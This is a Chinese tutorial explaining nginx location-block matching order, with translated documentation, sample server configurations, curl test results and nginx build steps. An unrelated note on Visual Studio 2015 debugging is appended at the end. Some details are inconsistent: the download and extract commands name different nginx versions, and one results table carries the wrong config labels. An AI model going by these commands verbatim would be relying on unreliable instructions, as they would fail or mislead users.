矫正：这句话不全对，“普通 location ”的匹配规则是“最大前缀”，因此“普通 location ”的确与 location 编辑顺序无关；但是“正则 location ”的匹配规则是“顺序匹配，且只要匹配到第一个就停止后面的匹配”；“普通location ”与“正则 location ”之间的匹配顺序是？先匹配普通 location ，再“考虑”匹配正则 location 。注意这里的“考虑”是“可能”的意思，也就是说匹配完“普通 location ”后，有的时候需要继续匹配“正则 location ”，有的时候则不需要继续匹配“正则 location ”。两种情况下，不需要继续匹配正则 location ：（ 1 ）当普通 location 前面指定了“ ^~ ”，特别告诉 Nginx 本条普通 location 一旦匹配上，则不需要继续正则匹配；（ 2 ）当普通location 恰好严格匹配上，不是最大前缀匹配，则不再继续匹配正则。
总结一句话： “正则 location 匹配让步普通 location 的严格精确匹配结果；但覆盖普通 location 的最大前缀匹配结果”
官方文档解释
REFER: http://wiki.nginx.org/NginxHttpCoreModule#location
location
syntax: location [=|~|~*|^~|@] /uri/ { … }
default: no
context: server
This directive allows different configurations depending on the URI.
（译者注：1 、different configurations depending on the URI 说的就是语法格式：location [=|~|~*|^~|@] /uri/ { … } ，依据不同的前缀“= ”，“^~ ”，“~ ”，“~* ”和不带任何前缀的（因为[A] 表示可选，可以不要的），表达不同的含义, 简单的说尽管location 的/uri/ 配置一样，但前缀不一样，表达的是不同的指令含义。2 、查询字符串不在URI范围内。例如：/films.htm?fid=123 的URI 是/films.htm 。）
It can be configured using both literal strings and regular expressions. To use regular expressions, you must use a prefix:
- “~” for case sensitive matching
- “~*” for case insensitive matching
译文：上文讲到location /uri/ 可通过使用不同的前缀，表达不同的含义。对这些不同前缀，分下类，就2 大类：正则location ，英文说法是location using regular expressions 和普通location ，英文说法是location using literal strings 。那么其中“~ ”和“~* ”前缀表示正则location ，“~ ”区分大小写，“~* ”不区分大小写；其他前缀（包括：“=”，“^~ ”和“@ ”）和无任何前缀的都属于普通location 。
To determine which location directive matches a particular query, the literal strings are checked first.
译文：对于一个特定的 HTTP 请求（ a particular query ）， nginx 应该匹配哪个 location 块的指令呢（注意：我们在 nginx.conf 配置文件里面一般会定义多个 location 的）？匹配 规则是：先匹配普通location （再匹配正则表达式）。注意：官方文档这句话就明确说了，先普通location ，而不是有些同学的误区“先匹配正则location ”。
Literal strings match the beginning portion of the query – the most specific match will be used.
前面说了“普通location ”与“正则location ”之间的匹配规则是：先匹配普通location ，再匹配正则location 。那么，“普通location ”内部（普通location 与普通location ）是如何匹配的呢？简单的说：最大前缀匹配。原文：1、match the beginning portion of the query （说的是匹配URI 的前缀部分beginning portion ）； 2 、the most specific match will be used （因为location 不是“严格匹配”，而是“前缀匹配”，就会产生一个HTTP 请求，可以“前缀匹配”到多个普通location ，例如：location /prefix/mid/ {} 和location /prefix/ {} ，对于HTTP 请求/prefix/mid/t.html ，前缀匹配的话两个location 都满足，选哪个？原则是：the most specific match ，于是选的是location /prefix/mid/ {} ）。
Afterwards, regular expressions are checked in the order defined in the configuration file. The first regular expression to match the query will stop the search.
这段话说了两层意思，第一层是：“Afterwards, regular expressions are checked ”, 意思是普通location 先匹配，而且选择了最大前缀匹配后，不能就停止后面的匹配，最大前缀匹配只是一个临时的结果，nginx 还需要继续检查正则location （但至于最终才能普通location 的最大前缀匹配，还是正则location 的匹配，截止当前的内容还没讲，但后面会讲）。第二层是“regular expressions are checked in the order defined in the configuration file. The first regular expression to match the query will stop the search. ”，意思是说“正则location ”与“正则location”内部的匹配规则是：按照正则location 在配置文件中的物理顺序（编辑顺序）匹配的（这句话就说明location 并不是一定跟顺序无关，只是普通location 与顺序无关，正则location 还是与顺序有关的），并且只要匹配到一条正则location ，就不再考虑后面的（这与“普通location ”与“正则location ”之间的规则不一样，“普通location ”与“正则location ”之间的规则是：选择出“普通location ”的最大前缀匹配结果后，还需要继续搜索正则location ）。
If no regular expression matches are found, the result from the literal string search is used.
这句话回答了“普通location ”的最大前缀匹配结果与继续搜索的“正则location ”匹配结果的决策关系。如果继续搜索的“正则location ”也有匹配上的，那么“正则location ”覆盖 “普通location ”的最大前缀匹配（因为有这个覆盖关系，所以造成有些同学以为正则location 先于普通location 执行的错误理解）；但是如果“正则location ”没有能匹配上，那么就用“普通location ”的最大前缀匹配结果。
For case insensitive operating systems, like Mac OS X or Windows with Cygwin, literal string matching is done in a case insensitive way (0.7.7). However, comparison is limited to single-byte locale’s only.
Regular expression may contain captures (0.7.40), which can then be used in other directives.
It is possible to disable regular expression checks after literal string matching by using “^~” prefix.If the most specific match literal location has this prefix: regular expressions aren’t checked.
通常的规则是，匹配完了“普通location ”指令，还需要继续匹配“正则location ”，但是你也可以告诉Nginx ：匹配到了“普通location ”后，不再需要继续匹配“正则location ”了，要做到这一点只要在“普通location ”前面加上“^~ ”符号（^ 表示“非”，~ 表示“正则”，字符意思是：不要继续匹配正则）。
By using the “=” prefix we define the exact match between request URI and location. When matched search stops immediately. E.g., if the request “/” occurs frequently, using “location = /” will speed up processing of this request a bit as search will stop after first comparison.
除了上文的“^~ ”可以阻止继续搜索正则location 外，你还可以加“= ”。那么如果“^~ ”和“= ”都能阻止继续搜索正则location 的话，那它们之间有什么区别呢？区别很简单，共同点是它们都能阻止继续搜索正则location ，不同点是“^~ ”依然遵守“最大前缀”匹配规则，然而“= ”不是“最大前缀”，而是必须是严格匹配（exact match ）。
这里顺便讲下“location / {} ”和“location = / {} ”的区别，“location / {} ”遵守普通location 的最大前缀匹配，由于任何URI 都必然以“/ ”根开头，所以对于一个URI ，如果有更specific 的匹配，那自然是选这个更specific 的，如果没有，“/ ”一定能为这个URI 垫背（至少能匹配到“/ ”），也就是说“location / {} ”有点默认配置的味道，其他更specific的配置能覆盖overwrite 这个默认配置（这也是为什么我们总能看到location / {} 这个配置的一个很重要的原因）。而“location = / {} ”遵守的是“严格精确匹配exact match ”，也就是只能匹配 http://host:port/ 请求，同时会禁止继续搜索正则location 。因此如果我们只想对“GET / ”请求配置作用指令，那么我们可以选“location = / {} ”这样能减少正则location 的搜索，因此效率比“location / {}” 高（注：前提是我们的目的仅仅只想对“GET / ”起作用）。
On exact match with literal location without “=” or “^~” prefixes search is also immediately terminated.
前面我们说了，普通location 匹配完后，还会继续匹配正则location ；但是nginx 允许你阻止这种行为，方法很简单，只需要在普通location 前加“^~ ”或“= ”。但其实还有一种“隐含”的方式来阻止正则location 的搜索，这种隐含的方式就是：当“最大前缀”匹配恰好就是一个“严格精确（exact match ）”匹配，照样会停止后面的搜索。原文字面意思是：只要遇到“精确匹配exact match ”，即使普通location 没有带“= ”或“^~ ”前缀，也一样会终止后面的匹配。
先举例解释下，后面例题会用实践告诉大家。假设当前配置是：location /exact/match/test.html { 配置指令块1}，location /prefix/ { 配置指令块2} 和 location ~ \.html$ { 配置指令块3} ，如果我们请求 GET /prefix/index.html ，则会被匹配到指令块3 ，因为普通location /prefix/ 依据最大匹配原则能匹配当前请求，但是会被后面的正则location 覆盖；当请求GET /exact/match/test.html ，会匹配到指令块1 ，因为这个是普通location 的exact match ，会禁止继续搜索正则location 。
To summarize, the order in which directives are checked is as follows:
- Directives with the “=” prefix that match the query exactly. If found, searching stops.
- All remaining directives with conventional strings. If this match used the “^~” prefix, searching stops.
- Regular expressions, in the order they are defined in the configuration file.
- If #3 yielded a match, that result is used. Otherwise, the match from #2 is used.
这个顺序没必要再过多解释了。但我想用自己的话概括下上面的意思“正则 location 匹配让步普通location 的严格精确匹配结果；但覆盖普通 location 的最大前缀匹配结果”。
It is important to know that nginx does the comparison against decoded URIs. For example, if you wish to match “/images/ /test”, then you must use “/images/ /test” to determine the location.
在浏览器上显示的URL 一般都会进行URLEncode ，例如“空格”会被编码为 ，但是Nginx 的URL 的匹配都是针对URLDecode 之后的。也就是说，如果你要匹配“/images/ /test ”，你写location 的时候匹配目标应该是：“/images/ /test ”。
Example:
location = / {
# matches the query / only.
[ configuration A ]
}
location / {
# matches any query, since all queries begin with /, but regular
# expressions and any longer conventional blocks will be
# matched first.
[ configuration B ]
}
location ^~ /images/ {
# matches any query beginning with /images/ and halts searching,
# so regular expressions will not be checked.
[ configuration C ]
}
location ~* \.(gif|jpg|jpeg)$ {
# matches any request ending in gif, jpg, or jpeg. However, all
# requests to the /images/ directory will be handled by
# Configuration C.
[ configuration D ]
}
上述这4 个location 的配置，没什么好解释的，唯一需要说明的是location / {[configuration B]} ，原文的注释严格来说是错误的，但我相信原文作者是了解规则的，只是文字描述上简化了下，但这个简化容易给读者造成“误解：先检查正则location ，再检查普通location ”。原文：“matches any query, since all queries begin with /, butregular expressions and any longer conventional blocks will be matched first. ”大意是说：“location / {} 能够匹配所有HTTP 请求，因为任何HTTP 请求都必然是以‘/ ’开始的（这半句没有错误）。但是，正则location 和其他任何比‘/ ’更长的普通location （location / {} 是普通location 里面最短的，因此其他任何普通location 都会比它更长，当然location = / {} 和 location ^~ / {} 是一样长的）会优先匹配（matched first ）。” 原文作者说“ but regular expressions will be matched first. ”应该只是想说正则 location 会覆盖这里的 location / {} ，但依然是普通location / {} 先于正则 location 匹配，接着再正则 location 匹配；但其他更长的普通 location （ any longer conventional blocks ）的确会先于 location / {} 匹配。
Example requests:
- / -> configuration A
- /documents/document.html -> configuration B
- /images/1.gif -> configuration C
- /documents/1.jpg -> configuration D
Note that you could define these 4 configurations in any order and the results would remain the same.
需要提醒下：这里说“in any order ”和“… remain the same ”是因为上面只有一个正则location 。文章前面已经说了正则location 的匹配是跟编辑顺序有关系的。
While nested locations are allowed by the configuration file parser, their use is discouraged and may produce unexpected results.
实际上 nginx 的配置文件解析程序是允许 location 嵌套定义的（ location / { location /uri/ {} } ）。但是我们平时却很少看见这样的配置，那是因为 nginx 官方并不建议大家这么做，因为这样会导致很多意想不到的后果。
The prefix “@” specifies a named location. Such locations are not used during normal processing of requests, they are intended only to process internally redirected requests (see error_page ,try_files ).
文章开始说了location 的语法中，可以有“= ”，“^~ ”，“~ ”和“~* ”前缀，或者干脆没有任何前缀，还有“@ ”前缀，但是后面的分析我们始终没有谈到“@ ”前缀。文章最后点内容，介绍了“＠”的用途：“@ ”是用来定义“Named Location ”的（你可以理解为独立于“普通location （location using literal strings ）”和“正则location （location using regular expressions ）”之外的第三种类型），这种“Named Location ”不是用来处理普通的HTTP 请求的，它是专门用来处理“内部重定向（internally redirected ）”请求的。注意：这里说的“内部重定向（internally redirected ）”或许说成“forward ”会好点，以为内internally redirected 是不需要跟浏览器交互的，纯粹是服务端的一个转发行为。
安装Nginx
wget http://nginx.org/download/nginx-1.4.6.tar.gz
tar zxvf nginx-1.1.0.tar.gz
./configure
make
make install
需要注意的是在 configure 这步遇到点小麻烦：
./configure: error: the HTTP rewrite module requires the PCRE library.
安装 nginx 的时候， rewrite 模块默认是需要被安装的。但是 rewrite 模块所依赖的 PCRE 库需要额外安装。
You can either disable the module by using –without-http_rewrite_module
option, or install the PCRE library into the system, or build the PCRE library
statically from the source with nginx by using –with-pcre=<path> option.
解决办法： http://apps.hi.baidu.com/share/detail/34331473
先执行： yum -y install pcre-devel openssl openssl-devel 把依赖的东西安装上。
备注： PCRE (Perl Compatible Regular Expressions )是perl语言正则表达式。 Nginx的rewrite的正则表达式采用的是Perl语法集（常识：正则表达式有不同的语法集，我们常见的grep指令如果需要采用Perl语法集，需要grep -P 来指定）。
location 实例练习
Nginx 的语法形式是： location [=|~|~*|^~|@] /uri/ { … } ，意思是可以以“ = ”或“ ~* ”或“ ~ ”或“ ^~ ”或“ @ ”符号为前缀，当然也可以没有前缀（因为 [A] 是表示可选的 A ； A|B 表示 A 和 B 选一个），紧接着是 /uri/ ，再接着是{…} 指令块，整个意思是对于满足这样条件的 /uri/ 适用指令块 {…} 的指令。
上述各种 location 可分两大类，分别是：“普通 location ”，官方英文说法是 location using literal strings 和“正则 location ”，英文说法是 location using regular expressions 。其中“普通 location ”是以“ = ”或“ ^~ ”为前缀或者没有任何前缀的 /uri/ ；“正则 location ”是以“ ~ ”或“ ~* ”为前缀的 /uri/ 。
那么，当我们在一个 server 上下文编写了多个 location 的时候， Nginx 对于一个 HTTP 请求，是如何匹配到一个 location 做处理呢？用一句话简单概括 Nginx 的 location 匹配规则是：“正则 location ”让步 “普通 location”的严格精确匹配结果；但覆盖 “普通 location ”的最大前缀匹配结果。理解这句话，我想通过下面的实例来说明。
#1 先普通 location ，再正则 location
周边不少童鞋告诉我， nginx 是“先匹配正则 location 再匹配普通 location ”，其实这是一个误区， nginx 其实是“先匹配普通 location ，再匹配正则 location ”，但是普通 location 的匹配结果又分两种：一种是“严格精确匹配”，官方英文说法是“ exact match ”；另一种是“最大前缀匹配”，官方英文说法是“ Literal strings match the beginning portion of the query – the most specific match will be used. ”。我们做个实验：
例题 1 ：假设 nginx 的配置如下
server {
listen 9090;
server_name localhost;
location / {
root html;
index index.html index.htm;
deny all;
}
location ~ \.html$ {
allow all;
}
}
附录 nginx 的目录结构是： nginx->html->index.html
上述配置的意思是： location / {… deny all;} 普通 location 以“ / ”开始的 URI 请求（注意任何 HTTP 请求都必然以“/ ”开始，所以“ / ”的意思是所有的请求都能被匹配上），都拒绝访问； location ~\.html$ {allow all;} 正则 location以 .html 结尾的 URI 请求，都允许访问。
测试结果：
[root@web108 ~]# curl http://localhost:9090/
<html>
<head><title>403 Forbidden</title></head>
<body bgcolor=”white”>
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.1.0</center>
</body>
</html>
[root@web108 ~]# curl http://localhost:9090/index.html
<html>
<head>
<title>Welcome to nginx!</title>
</head>
<body bgcolor=”white” text=”black”>
<center><h1>Welcome to nginx!</h1></center>
</body>
</html>
[root@web108 ~]# curl http://localhost:9090/index_notfound.html
<html>
<head><title>404 Not Found</title></head>
<body bgcolor=”white”>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx/1.1.0</center>
</body>
</html>
[root@web108 ~]#
测试结果如下：
| URI 请求 | HTTP 响应 |
| curl http://localhost:9090/ | 403 Forbidden |
| curl http://localhost:9090/index.html | Welcome to nginx! |
| curl http://localhost:9090/index_notfound.html | 404 Not Found |
curl http://localhost:9090/ 的结果是“ 403 Forbidden ”，说明被匹配到“ location / {..deny all;} ”了，原因很简单HTTP 请求 GET / 被“严格精确”匹配到了普通 location / {} ，则会停止搜索正则 location ；
curl http://localhost:9090/index.html 结果是“ Welcome to nginx! ”，说明没有被“ location / {…deny all;} ”匹配，否则会 403 Forbidden ，但 /index.html 的确也是以“ / ”开头的，只不过此时的普通 location / 的匹配结果是“最大前缀”匹配，所以 Nginx 会继续搜索正则 location ， location ~ \.html$ 表达了以 .html 结尾的都 allow all; 于是接着就访问到了实际存在的 index.html 页面。
curl http://localhost:9090/index_notfound.html 同样的道理先匹配 location / {} ，但属于“普通 location 的最大前缀匹配”，于是后面被“正则 location ” location ~ \.html$ {} 覆盖了，最终 allow all ； 但的确目录下不存在index_notfound.html 页面，于是 404 Not Found 。
如果此时我们访问 http://localhost:9090/index.txt 会是什么结果呢？显然是 deny all ；因为先匹配上了 location / {..deny all;} 尽管属于“普通 location ”的最大前缀匹配结果，继续搜索正则 location ，但是 /index.txt 不是以 .html结尾的，正则 location 失败，最终采纳普通 location 的最大前缀匹配结果，于是 deny all 了。
[root@web108 ~]# curl http://localhost:9090/index.txt
<html>
<head><title>403 Forbidden</title></head>
<body bgcolor=”white”>
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.1.0</center>
</body>
</html>
[root@web108 ~]#
#2 普通 location 的“隐式”严格匹配
例题 2 ：我们在例题 1 的基础上增加精确配置
server {
listen 9090;
server_name localhost;
location /exact/match.html {
allow all;
}
location / {
root html;
index index.html index.htm;
deny all;
}
location ~ \.html$ {
allow all;
}
}
测试请求：
[root@web108 ~]# curl http://localhost:9090/exact/match.html
<html>
<head><title>404 Not Found</title></head>
<body bgcolor=”white”>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx/1.1.0</center>
</body>
</html>
[root@web108 ~]#
结果进一步验证了“普通 location ”的“严格精确”匹配会终止对正则 location 的搜索。这里我们小结下“普通 location”与“正则 location ”的匹配规则：先匹配普通 location ，再匹配正则 location ，但是如果普通 location 的匹配结果恰好是“严格精确（ exact match ）”的，则 nginx 不再尝试后面的正则 location ；如果普通 location 的匹配结果是“最大前缀”，则正则 location 的匹配覆盖普通 location 的匹配。也就是前面说的“正则 location 让步普通location 的严格精确匹配结果，但覆盖普通 location 的最大前缀匹配结果”。
#3 普通 location 的“显式”严格匹配和“ ^~ ” 前缀
上面我们演示的普通 location 都是不加任何前缀的，其实普通 location 也可以加前缀：“ ^~ ”和“ = ”。其中“ ^~”的意思是“非正则，不需要继续正则匹配”，也就是通常我们的普通 location ，还会继续搜索正则 location （恰好严格精确匹配除外），但是 nginx 很人性化允许配置人员告诉 nginx 某条普通 location ，无论最大前缀匹配，还是严格精确匹配都终止继续搜索正则 location ；而“ = ”则表达的是普通 location 不允许“最大前缀”匹配结果，必须严格等于，严格精确匹配。
例题 3 ：“ ^~ ”前缀的使用
server {
listen 9090;
server_name localhost;
location /exact/match.html {
allow all;
}
location ^~ / {
root html;
index index.html index.htm;
deny all;
}
location ~ \.html$ {
allow all;
}
}
把例题 2 中的 location / {} 修改成 location ^~ / {} ，再看看测试结果：
| URI 请求 | 修改前 | 修改后 |
| curl http://localhost:9090/ | 403 Forbidden | 403 Forbidden |
| curl http://localhost:9090/index.html | Welcome to nginx! | 403 Forbidden |
| curl http://localhost:9090/index_notfound.html | 404 Not Found | 403 Forbidden |
| curl http://localhost:9090/exact/match.html | 404 Not Found | 404 Not Found |
除了 GET /exact/match.html 是 404 Not Found ，其余都是 403 Forbidden ，原因很简单所有请求都是以“ / ”开头，所以所有请求都能匹配上“ / ”普通 location ，但普通 location 的匹配原则是“最大前缀”，所以只有/exact/match.html 匹配到 location /exact/match.html {allow all;} ，其余都 location ^~ / {deny all;} 并终止正则搜索。
例题 4 ：“ = ”前缀的使用
server {
listen 9090;
server_name localhost;
location /exact/match.html {
allow all;
}
location = / {
root html;
index index.html index.htm;
deny all;
}
location ~ \.html$ {
allow all;
}
}
例题 4 相对例题 2 把 location / {} 修改成了 location = / {} ，再次测试结果：
| URI 请求 | 修改前 | 修改后 |
| curl http://localhost:9090/ | 403 Forbidden | 403 Forbidden |
| curl http://localhost:9090/index.html | Welcome to nginx! | Welcome to nginx! |
| curl http://localhost:9090/index_notfound.html | 404 Not Found | 404 Not Found |
| curl http://localhost:9090/exact/match.html | 404 Not Found | 404 Not Found |
| curl http://localhost:9090/test.jsp | 403 Forbidden | 404 Not Found |
最能说明问题的测试是 GET /test.jsp ，实际上 /test.jsp 没有匹配正则 location （ location ~\.html$ ），也没有匹配 location = / {} ，如果按照 location / {} 的话，会“最大前缀”匹配到普通 location / {} ，结果是 deny all 。
#4 正则 location 与编辑顺序
location 的指令与编辑顺序无关，这句话不全对。对于普通 location 指令，匹配规则是：最大前缀匹配（与顺序无关），如果恰好是严格精确匹配结果或者加有前缀“ ^~ ”或“ = ”（符号“ = ”只能严格匹配，不能前缀匹配），则停止搜索正则 location ；但对于正则 location 的匹配规则是：按编辑顺序逐个匹配（与顺序有关），只要匹配上，就立即停止后面的搜索。
配置 3.1
server {
listen 9090;
server_name localhost;
location ~ \.html$ {
allow all;
}
location ~ ^/prefix/.*\.html$ {
deny all;
}
}
配置 3.2
server {
listen 9090;
server_name localhost;
location ~ ^/prefix/.*\.html$ {
deny all;
}
location ~ \.html$ {
allow all;
}
}
测试结果：
| URI 请求 | 配置 3.1 | 配置 3.2 |
| curl http://localhost:9090/regextest.html | 404 Not Found | 404 Not Found |
| curl http://localhost:9090/prefix/regextest.html | 404 Not Found | 403 Forbidden |
解释：
Location ~ ^/prefix/.*\.html$ {deny all;} 表示正则 location 对于以 /prefix/ 开头， .html 结尾的所有 URI 请求，都拒绝访问； location ~\.html${allow all;} 表示正则 location 对于以 .html 结尾的 URI 请求，都允许访问。 实际上，prefix 的是 ~\.html$ 的子集。
在“配置 3.1 ”下，两个请求都匹配上 location ~\.html$ {allow all;} ，并且停止后面的搜索，于是都允许访问， 404 Not Found ；在“配置 3.2 ”下， /regextest.html 无法匹配 prefix ，于是继续搜索 ~\.html$ ，允许访问，于是 404 Not Found ；然而 /prefix/regextest.html 匹配到 prefix ，于是 deny all ， 403 Forbidden 。
配置 3.3
server {
listen 9090;
server_name localhost;
location /prefix/ {
deny all;
}
location /prefix/mid/ {
allow all;
}
}
配置 3.4
server {
listen 9090;
server_name localhost;
location /prefix/mid/ {
allow all;
}
location /prefix/ {
deny all;
}
}
测试结果：
| URI 请求 | 配置 3.1 | 配置 3.2 |
| curl http://localhost:9090/prefix/t.html | 403 Forbidden | 403 Forbidden |
| curl http://localhost:9090/prefix/mid/t.html | 404 Not Found | 404 Not Found |
测试结果表明：普通 location 的匹配规则是“最大前缀”匹配，而且与编辑顺序无关。
#5 “@” 前缀 Named Location 使用
REFER: http://wiki.nginx.org/HttpCoreModule#error_page
假设配置如下：
server {
listen 9090;
server_name localhost;
location / {
root html;
index index.html index.htm;
allow all;
}
#error_page 404 http://www.baidu.com # 直接这样是不允许的
error_page 404 = @fallback;
location @fallback {
proxy_pass http://www.baidu.com;
}
}
上述配置文件的意思是：如果请求的 URI 存在，则本 nginx 返回对应的页面；如果不存在，则把请求代理到baidu.com 上去做个弥补（注： nginx 当发现 URI 对应的页面不存在， HTTP_StatusCode 会是 404 ，此时error_page 404 指令能捕获它）。
测试一：
[root@web108 ~]# curl http://localhost:9090/nofound.html -i
HTTP/1.1 302 Found
Server: nginx/1.1.0
Date: Sat, 06 Aug 2011 08:17:21 GMT
Content-Type: text/html; charset=iso-8859-1
Location: http://localhost:9090/search/error.html
Connection: keep-alive
Cache-Control: max-age=86400
Expires: Sun, 07 Aug 2011 08:17:21 GMT
Content-Length: 222
<!DOCTYPE HTML PUBLIC “-//IETF//DTD HTML 2.0//EN”>
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href=”http://www.baidu.com/search/error.html”>here</a>.</p>
</body></html>
[root@web108 ~]#
当我们 GET /nofound.html 发送给本 nginx ， nginx 找不到对应的页面，于是 error_page 404 = @fallback ，请求被代理到 http://www.baidu.com ，于是 nginx 给 http://www.baidu.com 发送了 GET /nofound.html ，但/nofound.html 页面在百度也不存在，百度 302 跳转到错误页。
直接访问 http://www.baidu.com/nofound.html 结果：
[root@web108 ~]# curl http://www.baidu.com/nofound.html -i
HTTP/1.1 302 Found
Date: Sat, 06 Aug 2011 08:20:05 GMT
Server: Apache
Location: http://www.baidu.com/search/error.html
Cache-Control: max-age=86400
Expires: Sun, 07 Aug 2011 08:20:05 GMT
Content-Length: 222
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC “-//IETF//DTD HTML 2.0//EN”>
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href=”http://www.baidu.com/search/error.html”>here</a>.</p>
</body></html>
[root@web108 ~]#
测试二：访问一个 nginx 不存在，但 baidu 存在的页面
[root@web108 ~]# curl http://www.baidu.com/duty/ -i
HTTP/1.1 200 OK
Date: Sat, 06 Aug 2011 08:21:56 GMT
Server: Apache
P3P: CP=” OTI DSP COR IVA OUR IND COM ”
P3P: CP=” OTI DSP COR IVA OUR IND COM ”
Set-Cookie: BAIDUID=5C5D2B2FD083737A0C88CA7075A6601A:FG=1; expires=Sun, 05-Aug-12 08:21:56 GMT; max-age=31536000; path=/; domain=.baidu.com; version=1
Set-Cookie: BAIDUID=5C5D2B2FD083737A2337F78F909CCB90:FG=1; expires=Sun, 05-Aug-12 08:21:56 GMT; max-age=31536000; path=/; domain=.baidu.com; version=1
Last-Modified: Wed, 05 Jan 2011 06:44:53 GMT
ETag: “d66-49913b8efe340″
Accept-Ranges: bytes
Content-Length: 3430
Cache-Control: max-age=86400
Expires: Sun, 07 Aug 2011 08:21:56 GMT
Vary: Accept-Encoding,User-Agent
Connection: Keep-Alive
Content-Type: text/html
<!DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.01 Transitional//EN”
“http://www.w3.org/TR/html4/loose.dtd”>
。。。。
</body>
</html>
显示，的确百度这个页面是存在的。
[root@web108 ~]# curl http://localhost:9090/duty/ -i
HTTP/1.1 200 OK
Server: nginx/1.1.0
Date: Sat, 06 Aug 2011 08:23:23 GMT
Content-Type: text/html
Connection: keep-alive
P3P: CP=” OTI DSP COR IVA OUR IND COM ”
P3P: CP=” OTI DSP COR IVA OUR IND COM ”
Set-Cookie: BAIDUID=8FEF0A3A2C31D277DCB4CC5F80B7F457:FG=1; expires=Sun, 05-Aug-12 08:23:23 GMT; max-age=31536000; path=/; domain=.baidu.com; version=1
Set-Cookie: BAIDUID=8FEF0A3A2C31D277B1F87691AFFD7440:FG=1; expires=Sun, 05-Aug-12 08:23:23 GMT; max-age=31536000; path=/; domain=.baidu.com; version=1
Last-Modified: Wed, 05 Jan 2011 06:44:53 GMT
ETag: “d66-49913b8efe340″
Accept-Ranges: bytes
Content-Length: 3430
Cache-Control: max-age=86400
Expires: Sun, 07 Aug 2011 08:23:23 GMT
Vary: Accept-Encoding,User-Agent
<!DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.01 Transitional//EN”
“http://www.w3.org/TR/html4/loose.dtd”>
<html>
。。。
</body>
</html>
当 curl http://localhost:9090/duty/ -i 时， nginx 没找到对应的页面，于是 error_page = @fallback ，把请求代理到 baidu.com 。注意这里的 error_page = @fallback 不是靠重定向实现的，而是所说的“ internally redirected （forward ）”。
在 vs2015 以前的版本中，我们想要在停止调试后继续能够浏览网页，只要在项目右键属性 -> Web -> 调试器，把“启用编辑并继续”前的勾去掉就可以了。但是 vs2015 中没有了这个选项，这一度让我非常困惑。（vs2017 上又有了。2018.8.4 注）
百度无果，后来在还是在 Google 的帮助下找到了解决方案。
微软说，为了整合相关的功能，我们已经把这个选项移到了菜单栏 -> 工具 -> 选项 -> 调试 -> 常规，滚动到最底，但是我试了，没效果呀！
不过 stackoverflow 提供了一种很好的办法：我们先开始调试，在菜单栏中找到“停止调试”按钮所在的工具栏右下角的小三角，点击选择“添加或移除按钮”，“自定义”，“添加命令”，“调试”，“全部分离”，确定，你可以将“全部分离”下移或下移到你喜欢的位置，一般是“停止调试”旁边，当然你也可以干脆把“停止调试”删除掉。
好了，下次启动调试后，点击这个全部分离按钮就可以停止调试而不关闭 IIS Express 继续查看网页啦！
